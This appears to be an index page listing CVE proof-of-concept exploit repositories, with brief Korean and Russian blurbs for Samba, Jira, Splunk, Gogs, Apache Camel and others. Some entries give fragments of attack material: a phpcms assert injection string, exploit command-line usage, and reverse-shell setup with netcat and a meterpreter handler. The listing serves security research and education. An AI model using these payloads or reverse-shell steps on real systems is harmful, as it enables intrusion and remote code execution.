CVE-2019-19576

class.upload.php = 2.0.3 임의 파일 업로드 저자 - Jinny Ramsmark 영향받는 공급업체 - Verot.net 영향받는 제품 - class.upload.php = 2.0.3 새로 설치된 Ubuntu 19.10, PHP7.3, Apache/2.4.38에서 테스트 특히 Debian/Ubuntu는 사용 가능한 PHP 핸들러에 php, phar, phtml 확장자를 추가하기 때문에 취약한 것으로 밝혀졌습니다. 이 경우 class.upload.php는 phar 확장자를 블랙리스트에 포함하지 않았습니다. 설명 ...

CVE-2022-28672

CVE-2022-28672 Discord Server Эта ошибка была Use after Free, вызванная неправильной обработкой ссылок на объекты памяти JavaScript. Блог Foxit PDF Reader - UaF - RCE - JIT Spraying Консультация CVE-2022-28672 Демонстрация...

CVE-2021-23758-POC

CVE-2021-23758-POC этот репозиторий создан для обучения уязвимости в ajaxpro. раскрыта под идентификационным номером CVE-2021-23758. POC POST /ajaxpro/CVE202123758POC.demo,CVE202123758.ashx HTTP/2 Host: localhost:44375 Content-Length: 567 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96"...

CVE-2025-48384

CVE-2025-48384: Взлом git с помощью символа возврата каретки и RCE при клонировании Воспроизведение из https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384. Все заслуги Дэвиду Ледбитеру. Это базовая попытка воспроизведения уязвимости. Для активации выполните git clone --recursive...

CVE-2022-22947

Spring Cloud Gateway Example: python3 exploit.py http://localhost:8080 'id'...

CVE-2022-42889-RCE

CVE-2022-42889-PoC Концепт-доказательство Proof of Concept для эксплойта удалённого выполнения кода CVE-2022-42889 уязвимость Text4Shell. Поставьте ⭐ для поддержки ❤️ Об этой уязвимости CVE-2022-42889 — это новая критическая уязвимость, похожая на Spring4Shell и Log4Shell. Это уязвимость класса RC...

CVE-2017-5638

CVE-2017-5638 Apache Struts 2.3.5 Пример:...

CVE-2025-32432

Эксплойт CraftCMS CVE-2025-32432 от Chirag Artani Обзор Этот репозиторий содержит скрипт эксплойта для Proof-of-Concept PoC для CVE-2025-32432, уязвимости удаленного выполнения кода RCE до аутентификации, затрагивающей CraftCMS версий 4.x и 5.x. Уязвимость существует в функции генерации...

WebKit-CVE-2016-4622

WebKit CVE-2016-4622: Глубокий анализ уязвимости быстрого пути Slice ValueOf Полный анализ и эксплуатация уязвимости в WebKit JavaScript Core, приводящей к раскрытию памяти через манипуляцию Array.slice Содержание Краткое описание Обзор уязвимости Настройка среды исследования Технический анализ...

phpcms-2008-CVE-2018-19127

phpcms-2008-CVE-2018-19127 Недавно мы обнаружили уязвимость в /type.php исходного кода phpcms 2008. Когда злоумышленники отправляют специально сформированные запросы вида "/type.php?template=tag;@unlinkFILE;assert$POST1;//../rss", вредоносное содержимое в данном случае "@unlinkFILE;assert$POST1;"...

CVE-2022-0540-RCE

Atlassian Jira Seraph: обход аутентификации и RCE CVE-2022-0540 Английский • Китайский Детали эксплуатации Как видно из блога автора, Atlassian предоставил длинный список затронутых плагинов подавляющее большинство из которых были ложными срабатываниями, а автор перечислил несколько действительно...

SambaHunter

SambaHunter Это простой скрипт для эксплуатации RCE уязвимости в Samba CVE-2017-7494. Теперь работает с Python3. Многие необходимые библиотеки Python2 устарели например, commands. Добавлено логирование, показывающее, какие общие ресурсы доступны для записи. Если появилось сообщение 'Exploit...

jackson-CVE-2020-8840

CVE-2020-8840 FasterXML/jackson-databind Уязвимость удаленного выполнения кода...

cve-2019-0708_bluekeep_rce

Запустите msfconsole meterpreter/multi/handler для прослушивания на 192.168.116.133:6000 2. cd rdesktop-1.5.0 && make 3. Измените config, настройте IP и порт для обратного подключения: 192.168.116.133 6000 4. Выполните ./heapspray 192.168.116.134 134 — адрес XP, память = 2 ГБ 5. msfconsole...

CVE-2026-20253

CVE-2026-20253 실습 환경 PostgreSQL 사이드카 서비스를 통한 Splunk Enterprise 사전 인증 RCE | ---|--- CVE| CVE-2026-20253 CVSS| 9.8 치명적 유형| 인증되지 않은 원격 코드 실행 CWE| CWE-306: 중요 기능에 대한 인증 누락 제품| Splunk Enterprise 10.0.x / 10.2.x 면책 조항 : 이 실습은 승인된 보안 연구, 교육 및 침투 테스트 전용입니다. 소유하지 않았거나 명시적인 테스트 승인을 받지 않은 시스템에 사용하지 마십시오. 실습...

CVE-2026-28496

CVE-2026-27604 + CVE-2026-28496 — FOSSBilling 사전 인증 RCE 체인 요약 이 저장소는 두 개의 연쇄 취약점으로 구성된 FOSSBilling 사전 인증 RCE 체인을 재현하고 검증하기 위한 로컬 Docker 랩을 포함합니다: CVE| 유형| CVSS v4| GHSA| 설명 ---|---|---|---|--- CVE-2026-27604| 인증 우회| 10.0| GHSA-78x5-c8gw-8279| API 역할 검사기에서 누락된 throw로 인해 관리자 엔드포인트가 인증되지 않은 호출자에게 노출...

CVE-2024-20154

CVE-2024-20154: MediaTek MT6769 베이스밴드의 NB-IoT SIB1-NB 스택 오버플로 분류: CWE-121 — 스택 기반 버퍼 오버플로 심각도: 치명적 MediaTek 공지 · 8.8 높음, 공격 벡터: 인접 CISA-ADP 유형: 원격 코드 실행 — 사용자 상호작용 없음, 사전 연관 없음 공개: MediaTek 보안 공지, 2025년 1월 6일 https://corp.mediatek.com/product-security-bulletin/January-2025 분석 대상: Samsung Galaxy A...

CVE-2019-0193

CVE-2019-0193 Solr DataImport Handler RCE RCE-Vuln jdbc D:\CVE\CVE-2019-0193\solr-7.7.2\server\solr-webapp\webapp\WEB-INF\lib\mysql-connector-java-5.1.48.jar dataSource name="fromMysql" type="JdbcDataSource" driver="com.mysql.jdbc.Driver" url="jdbc:mysql://localhost:3306/mysql"...

CVE-2024-44625-Gogs-RCE-0.13.0

CVE-2024-44625 및 Gogs-RCE-0.13.0 리버스 프록시 뒤에 있는 0.13.0 시대의 Gogs를 대상으로 검증되었습니다. 기본 원리: 웹 편집기의 심볼릭 링크 추적을 통해 존재하지 않는 .git/hooks/pre-receive 파일을 생성실행 가능합니다. 이후 해당 저장소에 대한 모든 푸시가 이 훅을 실행합니다. 사용법: 리버스 셸 먼저 리스너 실행: nc -lvnp 4444 python3 gogsrceshell.py --url http://host --user admin1 --pass 'P@ss' ...

CVE-2025-27636-RCE-in-Apache-Camel

CVE-2025-27636 – Apache Camel RCE Apache Camel 헤더 주입 RCECVE-2025-27636를 위한 간단한 Python 익스플로잇입니다. 사용법 단일 명령 실행 ┌──root㉿user-/run/…/user/2024/HTBox/CVE-2025-27636 └─ python3 CVE-2025-27636.py -t http://192.168.159.120 -c "id" Executing: id uid=0root gid=0root groups=0root 파일 읽기...